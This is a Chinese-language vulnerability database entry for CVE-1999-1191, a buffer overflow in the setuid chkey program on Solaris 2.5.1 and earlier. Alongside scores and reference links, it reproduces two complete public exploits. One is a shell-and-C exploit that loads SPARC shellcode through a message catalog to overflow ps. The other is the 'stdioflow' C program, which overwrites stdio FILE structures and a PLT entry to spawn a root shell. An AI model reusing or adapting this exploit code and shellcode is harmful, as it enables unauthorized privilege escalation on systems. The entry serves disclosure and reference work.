CVE-1999-1191
CVSS7.2
发布时间 :1997-05-19 00:00:00
修订时间 :2016-10-17 22:02:07
NMCOE    

[原文]Buffer overflow in chkey in Solaris 2.5.1 and earlier allows local users to gain root privileges via a long command line argument.


[CNNVD]Solaris chkey缓冲区溢出漏洞(CNNVD-199705-018)

        在Solaris 2.5.1及早期版本上运行的chkey存在缓冲区溢出漏洞。本地用户可以通过超长的命令行参数获得根权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:2.5
cpe:/o:sun:solaris:2.5.1
cpe:/o:sun:solaris:2.5::x86
cpe:/o:sun:solaris:2.4
cpe:/o:sun:solaris:2.4::x86
cpe:/o:sun:solaris:2.5.1::x86

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1191
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1191
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199705-018
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.18.solaris.chkey.buffer.overflow.vul
(VENDOR_ADVISORY)  AUSCERT  AA-97.18
http://marc.info/?l=bugtraq&m=87602167418335&w=2
(UNKNOWN)  BUGTRAQ  19970519 Re: Finally, most of an exploit for Solaris 2.5.1's ps.
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/144
(VENDOR_ADVISORY)  SUN  00144
http://www.iss.net/security_center/static/7442.php
(UNKNOWN)  XF  solaris-chkey-bo(7442)
http://www.securityfocus.com/bid/207
(VENDOR_ADVISORY)  BID  207

- 漏洞信息

Solaris chkey缓冲区溢出漏洞
高危 缓冲区溢出
1997-05-19 00:00:00 2006-02-20 00:00:00
本地  
        在Solaris 2.5.1及早期版本上运行的chkey存在缓冲区溢出漏洞。本地用户可以通过超长的命令行参数获得根权限。

- 公告与补丁

        

- 漏洞信息 (332)

Solaris 2.5.0/2.5.1 ps & chkey Data Buffer Exploit (EDBID:332)
solaris local
1997-05-19 Verified
0 Joe Zbiciak
N/A [点击下载]
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F

msgfmt -o /tmp/foo ps_expl.po

# Build the C portion of the exploit
cat > ps_expl.c << E_O_F

/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak,  5/18/97                  */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      (632)
#define EXTRA           (256)

int main(int argc, char *argv[])
{
        char buf[BUF_LENGTH + EXTRA];
                      /* ps will grok this file for the exploit code */
        char *envp[]={"NLSPATH=/tmp/foo",0};
        u_long *long_p;
        u_char *char_p;
                        /* This will vary depending on your libc */
        u_long *proc_link=0xef771408;
        int i;

        long_p = (u_long *) buf;

        /* This first loop smashes the target buffer for optargs */
        for (i = 0; i < (96) / sizeof(u_long); i++)
                *long_p++ = 0x10101010;

        /* At offset 96 is the environ ptr -- be careful not to mess it up */
        *long_p++=0xeffffcb0;
        *long_p++=0xffffffff;

        /* After that is the _ctype table.  Filling with 0x10101010 marks the
           entire character set as being "uppercase printable". */
        for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
                *long_p++ = 0x10101010;

        /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
        /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */

        /* build up _iob[1] */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */

        /* build up _iob[2] */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */

        *long_p =0;

        /* The following includes the invalid argument '-z' to force the
           usage msg to appear after the arguments have been parsed. */
        execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
        perror("execle failed");

        return 0;
}
E_O_F

# Compile it
$CC -o ps_expl ps_expl.c

# And off we go!
exec ./ps_expl

// milw0rm.com [1997-05-19]
		

- 漏洞信息 (19160)

Solaris <= 2.5.1 chkey Vulnerability (EDBID:19160)
solaris local
1997-05-19 Verified
0 Adam Morrison
N/A [点击下载]
source: http://www.securityfocus.com/bid/207/info

The chkey program is used to change a users secure RPC Diffie-Hellman public key and secret key pair. A buffer overflow condition has been found in the chkey program. Since chkey has setuid root permissions, an unauthorized user may be able to gain root access.

/*
* stdioflow -- exploit for data overrun conditions
* adam@math.tau.ac.il (Adam Morrison)
*
* This program causes programs which use stdio(3S) and have data buffer
* overflow conditions to overwrite stdio's iob[] array of FILE structures
* with malicious, buffered FILEs. Thus it is possible to get stdio to
* overwrite arbitrary places in memory; specifically, it overwrites a
* specific procedure linkage table entry with SPARC assembly code to
* execute a shell.
*
* Using this program involves several steps.
*
* First, find a code path which leads to the use of stdout or stderr after
* the buffer has been overwritten. The default case being
*
* strcpy(buffer, argv[0]);
* / we gave it wrong arguments /
* fprintf(stderr, "usage: %s ...\n", buffer);
* exit(1);
*
* In this case you need to overwrite exit()'s PLT entry.
*
* Second, find out the address that the library that contains the PLT
* you want to overwrite (in this case, it would be libc) gets mmapped()
* to in the process' address space. You need it to calculate the
* absolute of the PLT entry. (Doing this is left as an, uh, exercise
* to the reader.)
*
* Finally, calculate the offset to take from the PLT entry -- you don't
* want ``usage: '' in the table, but the instructions in ``%s''. In this
* case, it would be 7.
*
* Then run it.
*/
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <libelf.h>

#include <sys/types.h>
#include <sys/link.h>

#define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_"

u_int shellcode[] = {
0x821020ca,
0xa61cc013,
0x900cc013,
0x920cc013,
0xa604e001,
0x91d02008,
0x2d0bd89a,
0xac15a16e,
0x2f0bdcda,
0x900b800e,
0x9203a008,
0x941a800a,
0x9c03a010,
0xec3bbff0,
0xdc23bff8,
0xc023bffc,
0x8210203b,
0x91d02008,
};
int shell_len = sizeof (shellcode) / sizeof (u_long);
u_long meow = 0x6d656f77;
char *prog;

void elferr(void);
u_long symval(char *, char *);
u_long plt_offset(char *, char *);

void
usage()
{
fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog);
fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n");
exit(1);
}

main(int argc, char **argv)
{
char *env = NULL;
char *library = "/usr/lib/libc.so";
char *function = "_exithandle";
u_long off, uoff = 0;
u_long libaddr, pltaddr, bufaddr, iobaddr;
u_long pltent;
char *prognam, *bufnam;
int buflen;
char *badbuf;
u_long *bp;
int c;
extern char *optarg;
extern int optind;
char **arg0, **arg;

prog = strrchr(argv[0], '/');
if (prog)
++prog;
else
prog = argv[0];

while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF)
switch (c) {
case 'l':
library = optarg;
break;
case 'f':
function = optarg;
break;
case 'o':
uoff = strtol(optarg, (char **)0, 0);
break;
case 'e':
env = optarg;
break;
default:
usage();
}

if (argc - optind < 3)
usage();

bufnam = argv[optind];

/*
* This is the address that the library in which `function'
* lives gets mapped to in the child address space. We could force
* a non-privileged copy of `prognam' to dump core, and fish
* out the memory mappings from the resulting core file; but this
* is really something users should be able to do themselves.
*/
libaddr = strtoul(argv[optind+1], (char **)0, 0);
if (libaddr == 0) {
fprintf(stderr, "%s: impossible library virtual address: %s\n",
prog, argv[optind+1]);
exit(1);
}
printf("Using library %s at 0x%p\n", library, libaddr);

prognam = argv[optind+2];

arg0 = &argv[optind+3];

/*
* `pltaddr' is the offset at which the library's PLT will be
* at from `libaddr'.
*/
pltaddr = symval(library, PLT_SYMBOL);
if (pltaddr == 0) {
fprintf(stderr, "%s: could not find PLT offset from library\n",
prog);
exit(1);
}
printf("Using PLT at 0x%p\n", pltaddr);

/*
* `off' is the offset from `pltaddr' in which the desired
* function's PLT entry is.
*/
off = plt_offset(library, function);
if (off == 0) {
fprintf(stderr, "%s: impossible offset from PLT returned\n", prog);
exit(1);
}
printf("Found %s at 0x%p\n", function, off);

/*
* `bufaddr' is the name (or address) of the buffer we want to
* overflow. It's not a stack buffer, so finding it out is trivial.
*/
if (bufnam[0] == '@')
bufaddr = strtol(&bufnam[1], (char **)0, 0);
else
bufaddr = symval(prognam, bufnam);

if (bufaddr == 0) {
fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam);
exit(1);
}
printf("Buffer at 0x%p\n", bufaddr);

/*
* `iobaddr' is obviously the address of the stdio(3) array.
*/
iobaddr = symval(prognam, "__iob");
if (iobaddr == 0) {
fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam);
exit(1);
}
printf("iob[] at 0x%p\n", iobaddr);

/*
* This is the absolute address of the PLT entry we want to
* overwrite.
*/
pltent = libaddr + pltaddr + off;

buflen = iobaddr - bufaddr;
if (buflen < shell_len) {
fprintf(stderr, "%s: not enough space for shell code\n", prog);
exit(1);
}
if (env) {
buflen += strlen(env) + 5;
if (buflen & 3) {
fprintf(stderr, "%s: alignment problem\n", prog);
exit(1);
}
}
badbuf = (char *)malloc(buflen);
if (badbuf == 0) {
fprintf(stderr, "%s: out of memory\n", prog);
exit(1);
}

if (env) {
buflen -= (strlen(env) + 5);
sprintf(badbuf, "%s=", env);

bp = (u_long *)&badbuf[strlen(badbuf)];
} else
bp = (u_long *)badbuf;

buflen /= sizeof (*bp);
for (c = 0; c < shell_len; c++)
*bp++ = shellcode[c];

for (; c < buflen; c++)
*bp++ = meow;

/*
* stdin -- whatever
*/
*bp++ = -29;
*bp++ = 0xef7d7310;
*bp++ = 0xef7d7310 - 29;
*bp++ = 0x0101ffff;

/*
* stdout
*/
*bp++ = -29;
*bp++ = pltent - uoff;
*bp++ = pltent - 29;
*bp++ = 0x0201ffff;

/*
* stderr
*/
*bp++ = -29;
*bp++ = pltent - uoff;
*bp++ = pltent - 29;
*bp++ = 0x0202ffff;

*bp++ = 0;

printf("Using absolute address 0x%p\n", pltent - uoff);

/*
* Almost ready to do the exec()
*/
if (env)
putenv(badbuf);
else
for (arg = arg0; arg && *arg; arg++) {
if (strcmp(*arg, "%s") == 0)
*arg = badbuf;
}

printf("Using %d bytes\n", buflen*4);

if (execv(prognam, arg0) < 0) {
perror("execv");
exit(1);
}

}

u_long
symval(char *lib, char *name)
{
int fd;
int i, nsym;
u_long addr = 0;
Elf32_Shdr *shdr;
Elf *elf;
Elf_Scn *scn = (Elf_Scn *)0;
Elf32_Ehdr *ehdr;
Elf_Data *dp;
Elf32_Sym *symbol;
char *np;

fd = open(lib, O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

/* Initializations, see elf(3E) */
(void) elf_version(EV_CURRENT);
elf = elf_begin(fd, ELF_C_READ, 0);
if (elf == (Elf *)0)
elferr();

ehdr = elf32_getehdr(elf);
if (ehdr == (Elf32_Ehdr*)0)
elferr();

/*
* Loop through sections looking for the dynamic symbol table.
*/
while ((scn = elf_nextscn(elf, scn))) {

shdr = elf32_getshdr(scn);
if (shdr == (Elf32_Shdr *)0)
elferr();

if (shdr->sh_type == SHT_DYNSYM)
break;
}

if (scn == (Elf_Scn *)0) {
fprintf(stderr, "%s: dynamic symbol table not found\n", prog);
exit(1);
}

dp = elf_getdata(scn, (Elf_Data *)0);
if (dp == (Elf_Data *)0)
elferr();

if (dp->d_size == 0) {
fprintf(stderr, "%s: .dynamic symbol table empty\n", prog);
exit(1);
}

symbol = (Elf32_Sym *)dp->d_buf;
nsym = dp->d_size / sizeof (*symbol);

for (i = 0; i < nsym; i++) {
np = elf_strptr(elf, shdr->sh_link, (size_t)
symbol[i].st_name);
if (np && !strcmp(np, name))
break;

}

if (i < nsym)
addr = symbol[i].st_value;

(void) elf_end(elf);
(void) close(fd);

return (addr);
}

u_long
plt_offset(char *lib, char *func)
{
int fd;
Elf *elf;
Elf_Scn *scn = (Elf_Scn *)0;
Elf_Data *dp;
Elf32_Ehdr *ehdr;
Elf32_Rela *relocp = (Elf32_Rela *)0;
Elf32_Word pltsz = 0;
Elf32_Shdr *shdr;
Elf_Scn *symtab;
Elf32_Sym *symbols;
char *np;
u_long offset = 0;
u_long plt;

fd = open(lib, O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

/* Initializations, see elf(3E) */
(void) elf_version(EV_CURRENT);
elf = elf_begin(fd, ELF_C_READ, 0);
if (elf == (Elf *)0)
elferr();

ehdr = elf32_getehdr(elf);
if (ehdr == (Elf32_Ehdr *)0)
elferr();

/*
* Loop through sections looking for the relocation entries
* associated with the procedure linkage table.
*/
while ((scn = elf_nextscn(elf, scn))) {

shdr = elf32_getshdr(scn);
if (shdr == (Elf32_Shdr *)0)
elferr();

if (shdr->sh_type == SHT_RELA) {
np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name);
if (np && !strcmp(np, ".rela.plt"))
break;
}

}

if (scn == (Elf_Scn *)0) {
fprintf(stderr, "%s: .rela.plt section not found\n", prog);
exit(1);
}

dp = elf_getdata(scn, (Elf_Data *)0);
if (dp == (Elf_Data *)0)
elferr();

if (dp->d_size == 0) {
fprintf(stderr, "%s: .rela.plt section empty\n", prog);
exit(1);
}

/*
* The .rela.plt section contains an array of relocation entries,
* the first 4 are not used.
*/
relocp = (Elf32_Rela *)dp->d_buf;
pltsz = dp->d_size / sizeof (*relocp);

relocp += 4;
pltsz -= 4;

/*
* Find the symbol table associated with this section.
*/
symtab = elf_getscn(elf, shdr->sh_link);
if (symtab == (Elf_Scn *)0)
elferr();

shdr = elf32_getshdr(symtab);
if (shdr == (Elf32_Shdr *)0)
elferr();

dp = elf_getdata(symtab, (Elf_Data *)0);
if (dp == (Elf_Data *)0)
elferr();

if (dp->d_size == 0) {
fprintf(stderr, "%s: dynamic symbol table empty\n", prog);
exit(1);
}

symbols = (Elf32_Sym *)dp->d_buf;

/*
* Loop through the relocation list, looking for the desired
* symbol.
*/
while (pltsz-- > 0) {
Elf32_Word ndx = ELF32_R_SYM(relocp->r_info);

np = elf_strptr(elf, shdr->sh_link, (size_t)
symbols[ndx].st_name);
if (np && !strcmp(np, func))
break;

relocp++;
}

if (relocp) {
plt = symval(lib, PLT_SYMBOL);
offset = relocp->r_offset - plt;
}

(void) elf_end(elf);
(void) close(fd);

return (offset);
}

void
elferr()
{
fprintf(stderr, "%s: %s\n", prog, elf_errmsg(elf_errno()));

exit(1);
}

		

- 漏洞信息

934
Solaris chkey Command Line Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

1997-06-24 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站